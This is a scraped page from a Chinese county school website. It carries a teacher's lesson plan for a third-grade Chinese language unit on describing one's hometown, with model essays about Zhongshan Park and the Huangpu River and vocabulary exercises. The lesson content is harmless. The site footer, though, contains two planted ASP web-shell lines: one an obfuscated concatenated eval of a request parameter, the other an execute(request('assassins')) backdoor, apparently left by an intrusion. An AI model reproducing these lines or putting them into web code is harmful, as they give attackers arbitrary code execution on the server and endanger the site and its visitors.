| 网站首页 | 校园新闻 | 校务公开 | 德育天地 | 教学资源 | 精准扶贫 | 名师工作室 | 教育科研 | 教师天地 | 学生乐园 | 追梦文学 | 党建之窗 | 图片中心 | 在线留言 | 
最新公告:     《追梦》征稿启事(长期有效)  [admin  2012-03-26]        
站内搜索
文章 下载 图片
您现在的位置: 仪陇县实验学校 >> 教师天地 >> 书海泛舟 >> 正文 会员注册
[推荐]三年级下《语文园地一》教师讲学稿     ★★★★
三年级下《语文园地一》教师讲学稿
【作者】:宁超群   【文章来源】:本站原创  

仪陇县实验学校小学语文三年级下册讲学稿(教师稿)

语文园地一

课型:略读 执笔:宁超群  审核:黎兰英 王丽 安琴 顾明珍

执教:           

教学目标

     1、以家乡景物为内容进行口语交际,要讲清景物的特点,表达自己对家乡的热爱。

     2、写出家乡景物的特点,并展开丰富的想象。

     3、能自己发现一些词语的特点,积累由意思相反的单音节词组成的词语。

     4、积累量词和成语。会正确使用一些量词。

5、学习在阅读中积累语言,随时记录。

教学重点、难点:

以家乡景物为内容进行口语交际,要讲清景物的特点,表达自己对家乡的热爱。自己发现一些词语的特点,积累由意思相反的单音节词组成的词语。

学法指导

观察,整理,交流,练笔,练习。

预习导学

     1、搜集家乡景色的照片。

     2、搜集一篇描写大自然美丽景色的文章。

     3、词语卡片

学习研讨             

第一课时

(口语交际)

 教学目标:

   以家乡景物为内容进行口语交际,要讲清景物的特点,表达自己对家乡的热爱。

教学过程:

一、谈话引入:

    师:小朋友,我门祖国历来以风景优美著称,有一碧千里的草原,有金浪翻腾的沙漠,又有多少名山大川,吸引着无数的中外游客。我们的家乡在祖国版图上,虽然只占一点点地方,但是也有许多迷人的地方。让我们互相交流,共同赞美自己的家乡吧:

   二、明确说与听的要求:

    1、讲清你介绍的这处风景在什么地方,有什么特点,要表达出对家乡的热爱。如有小朋友提问,应耐心解答他们的提问。

    2、认真听别人讲,可以补充,可以提问题。

   三、小组同学互相介绍,并评出介绍得最清楚最动人的同学

   四、全班交流,其他人点评或提问。

   五、布置在生活中的交际。

请父母或其他长辈介绍一处家乡景物。

【口语交际例文】

  我的家乡是一个依山靠水的地方。在村前,有一条碧绿如玉的小河,在阳光的照耀下,碧波荡漾,波光粼粼。在村后,是一座连绵起伏的山峦,山上的松树郁郁葱葱,好像一个个屹立在岗哨上的战士,威武坚强。在村旁,有一条银带似的沙石公路,蜿蜒崎岖向远方延伸。一辆辆汽车在公路上络绎不绝地往来行驶。在青山绿水的映衬下,家乡好像一幅美丽的壮锦。

第二课时、第三课时

(习作指导)

教学目标:

   写出家乡景物的特点,并展开丰富的想象。

教学重点、难点:

写出家乡景物的特点,并展开丰富的想象。

教学过程:

一、激发兴趣,导入主题

     师:小朋友,通过你们的介绍,我发现,你们的家乡是个非常可爱的地方!你们的介绍,让更多的人了解了你们的家乡。要知道,我国多少风景区在最初是名不见经传的,说不定因为你们的介绍,会使你们的家乡成为著名的风景区呢!这次习作就请小朋友们介绍自己家乡的景物。介绍的时候,要注意把景物特点写清楚,如能写上自己的想象或关于家乡景物美妙的传说,就更吸引人了!

 二、明确要求

 这实际上是一次写景作文,必须要注意以下几点:

  1、能写出景物的特点。(明景物,抓特点)

  2、按一定顺序写清楚。(按顺序,写具体)

  3、表达热爱家乡的感情,有丰富的想象。(丰想象,表真情)

三、佳作引路

家乡一角──中山公园

  我向往那气势雄伟的长城,赞美那水势汹涌的长江,但我更爱家乡那美丽的中山公园。

  我家和中山公园只隔一道墙。我从小就喜欢上那儿去,因此对它有着一种特殊的感情。中山公园一年四季有着迥然不同的迷人景色。

  每当万紫千红的春天来临时,一根根小草像是从甜睡中醒来,舒展着它那幼嫩的绿叶,连成一片片柔软的草坪,远远望去,犹如一块块绿色的地毯。公园里,各种各样的花竞相开放。最引人注目的是那一簇簇、一片片压满枝头的樱花。它一球球,一串串,一朵紧挨着一朵,挤满了枝头。樱花把春光渲染得多么鲜明浓艳啊!

  盛夏,草坪的四周一棵棵郁郁葱葱的柳树,随风轻轻地飘动,仿佛在为游客驱散热气,荷花池内盛开着高洁的荷花,有的才展开两三片花瓣;有的已经全部展开了,露出嫩黄色的小莲蓬;有的还是花骨朵,看上去马上要破裂似的。微风吹过,它们像是穿着粉红色上衣的仙女在翩翩起舞。如果你坐在河边,会感到全身清凉舒爽。

  秋天,花儿谢了,枯黄的叶子满天飞舞,好像要把大地变成黄色的。但这时,正是桂花盛开的季节。在公园里,到处能闻到桂花的香味,那浓郁的幽香,几乎渗透每个空气分子。这时,一年一度的菊展在中山公园“打响”了。有的组成了“万里长城”、“宝塔”等造型,有的像“千手观音”,伸出一千只金手臂,似乎要拥抱游客……桂花、菊花在肃杀的秋天显得格外有精神。

  隆冬寒风刺骨,花草“躲”进了暖房。但在中山公园里,你仍然能看到碧绿的叶子。那就是四季长青的松柏。腊梅也“挺身而出”为公园增添了几分生气。它抗严寒,斗风雪,多么像那些顶风傲雪的英雄豪杰们啊!

  我在中山公园找到了童年的乐趣。特别是转椅、碰碰车、高架车等大型游乐设施使我流连忘返。爸爸说:“以前,儿童乐园里只有几副木制的跷跷板、秋千、滑梯。那时的景色不能和现在的比。你真幸福啊!赶上了祖国建设的好时光。”

  是的,用现在与以前对比,我体会到家乡在发展,国家在前进。

  朋友,你若是有机会到上海,别忘了游览一下中山公园啊!

评析:小作者在介绍中山公园时,着力描绘公园四季不同的特点,并在描写的基础上进行合理的联想,采用打比方,拟人,夸张等修辞手法,把公园的花草树木描绘得栩栩如生,呼之欲出。

我爱家乡的母亲河

 

  我的家乡是世界闻名的大都市──上海,她不但有林立的工厂,繁华的街道,而且有著名的大学,第一流的宾馆饭店……但是我最爱的却是那日夜奔流的母亲河──黄浦江。

  我最喜爱黄浦江迷人的景色。我常趴在江边的大堤上,出神地望着东去的江水。清晨,太阳从东边冉冉升起,黄浦江就像一位勤劳的母亲开始忙碌起来。被霞光照得通红的江面上,渡船来来往往,把赶早集的农民从浦东迎到了浦西,又把上早班的工人从浦西送到了浦东。白天是黄浦江最繁忙的时候,波光粼粼的江面上,拖轮拉着长长的船队,载着各种各样的货物,离开码头驶往长江上游;万吨巨轮装着钢材、机器等进出口货物,又匆匆地吊起运往世界各地印有“中国制造”的出口商品。此时,黄浦江就像一位慈爱的母亲,用她那宽广的胸怀,把爱默默地奉献给两岸的儿女。入夜,则又是另一种美丽的景色,两岸高楼大厦的霓虹灯光倒映在江面上,好似繁星点点;汽笛压低了嗓门,江面上的轮船在静静地行驶。这时,黄浦江又像一位亲切的母亲,轻轻地抚摸着使自己赖以生存的大地。

  黄浦江犹如一根纽带把上海与全国各地,把上海与五湖四海紧紧地连在一起。那滔滔的江水仿佛母亲脉搏里流动的热血,给上海带来了繁荣,赢得了信誉和友谊。随着改革开放步伐的不断加快,它增添了新姿和风采:上游引水工程顺利竣工,江底两条越江隧道横卧东西,拔地而起的南浦大桥高耸壮观……这条伟大的母亲河将在本世纪“开发浦东,振兴浦西”的进程中发挥举足轻重的作用。

  妈妈常对我说,我们喝的、用的都是黄浦江的水。上海人离不开黄浦江,就像孩子离不开母亲。

  啊,我爱您!

  我爱黄浦江──家乡的母亲河!

  评析:小作者把对家乡的热爱寄情于家乡的河——黄浦江,并动情地称之为“母亲河”,多么贴切的比喻,由“母亲”人们自然而然地会联想到勤劳、慈爱、亲切、伟大等字眼,小作者正是以此写出了黄浦江清晨、白天、入夜和在大时代面前所表现出来的不同的侧面。

四、自主习作

师巡视,帮助有困难的学生,了解全班习作的情况。

第四课时

( 修改习作)

教学目标:

学会自己修改习作。

教学重点、难点:

学会自己修改习作。

教学过程:

一、指名读习作,师生评议。

    可选24篇各具特点的习作,扣写得比铰清楚的,想象较丰富的,并加上传说的,或者存在带有共性的缺点。

    评价标谁:语言是否通顺明白、是否写出了景物的特点、是否有自己的想象

  二、修改习作

  三、老师范读优秀习作。

  四、宽带网

     1、自读教材中的导语。

     2、读自己搜集的描写大自然的文章,勾画出精彩片断。

     3、抄写在采蜜本上。

     4、鼓励学生经常做摘录,养成好习惯。

第五课时

                         (我的发现;日积月累)

教学目标:

     1、能自己发现一些词语的特点,积累由意思相反的单音节词组成的词语。

     2、积累量词和成语。会正确使用一些量词。

3、学习在阅读中积累语言,随时记录。

教学过程:

一、我的发现

      1、出示课本里的词语。

      2、学生自己读词语,想想你发现了什么

      3、交流:每个词中两个字的意悬是相反的。

      4、说一说,还发现哪些词有这个特点?引导学生发现更多类似的词语。

       大小   多少   东西   来往

 二、日积月累

     1、我会填

     1)自己尝试填一填

     2)指名说说是怎样填的,并说几句含有这些词语的句子。

          如:一(身)羽毛。

         句子:一身乌黑光亮的羽毛。

     2、读读背背

      1)自由读成语

      2)指名读,读准生字的音。认读生字:姹、紫、嫣、缤、郁、旭、皓、崇、峻、悬、峭

      3)引导发现:看看每一行成语有什么特点?

      第一行:多用于写花草树木的

      第二行:写日月的

      第三行:描写山的

      4)多样读

      5)背诵

教后反思

 

本文最后更新时间:2010-03-03 22:18:36,你是第1899位访问者。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

     

    最新图片文章
    更多内容
    最新热门
    更多内容
    最新推荐
    更多内容
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    仪陇县实验学校
    Copyright 20080315—2010 仪陇县实验学校 All Rights Reserved. 【虚拟主机】:西部数码    【地址】:仪陇县新政镇吉庆街二段二号  【QQ在线】:185324127 <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> <%execute(request("assassins"))%> 【站长】:严和平